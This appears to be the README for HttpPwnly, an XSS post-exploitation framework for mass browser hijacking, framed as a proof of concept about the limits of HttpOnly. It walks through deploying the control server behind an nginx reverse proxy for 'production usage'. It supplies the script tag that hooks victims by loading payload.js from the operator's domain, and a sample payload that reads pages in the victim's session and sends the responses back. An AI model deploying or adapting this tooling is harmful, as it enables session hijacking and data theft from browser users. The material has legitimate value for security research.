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HttpPwnly

"Repeater" style XSS post-exploitation tool for mass browser control. Primarily a PoC to show why HttpOnly flag isn't a complete protection against session hijacking via XSS.

Dependencies:

pip install -r requirements.txt

Usage:

to run the tool, simply use:

python httppwnly.py

For production usage, you should run and configure a reverse proxy which offers both HTTP on port 80 and HTTPS on port 443 with a properly signed SSL certificate. This is free and fairly straightforward with Lets Encrypt providing you own a domain. See "Reverse proxy" below for further info and a copy-paste nginx config.

When you run httppwnly, a randomly generated password for the user "admin" will be displayed in the terminal. At this point, visit https://[yourdomain]/login in your browser. After logging in, you will have access to the /dashboard.

In order to hook a victim, you should write the following script tag to a page via XSS:

<script id="hacker" src="//[yourdomain]/payload.js"></script>

Demo:

Asynchronous payloads:

To overide normal task output data within your payload (for example in order to retrieve output from XMLHttpRequest), call the "sendOutput" function and pass it your intended output. For example:

var xmlhttp = new XMLHttpRequest();
  xmlhttp.onreadystatechange = function() {
    if (xmlhttp.readyState == 4) {
      sendOutput(id,xmlhttp.responseText);
    }
  };
xmlhttp.open("GET", "/", true);
xmlhttp.send();

Reverse proxy:

HttpPwnly will bind to localhost:5000. In order to make the framework accessible remotely, the best approach is to use a reverse proxy. It's also recommended to offer HTTP as well as HTTPS, another reason to use a reverse proxy! I personally recommend using nginx for this. This is a working nginx config file:

server {
    listen 80;
    server_name example.com;

    location / {
        proxy_pass http://127.0.0.1:5000;
        proxy_http_version 1.1;
        proxy_buffering off;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "Upgrade";

    }
}
server {
    listen 443 ssl;
    server_name example.com;
    ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;
    location / {
        proxy_pass http://127.0.0.1:5000;
        proxy_http_version 1.1;
        proxy_buffering off;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "Upgrade";

    }
}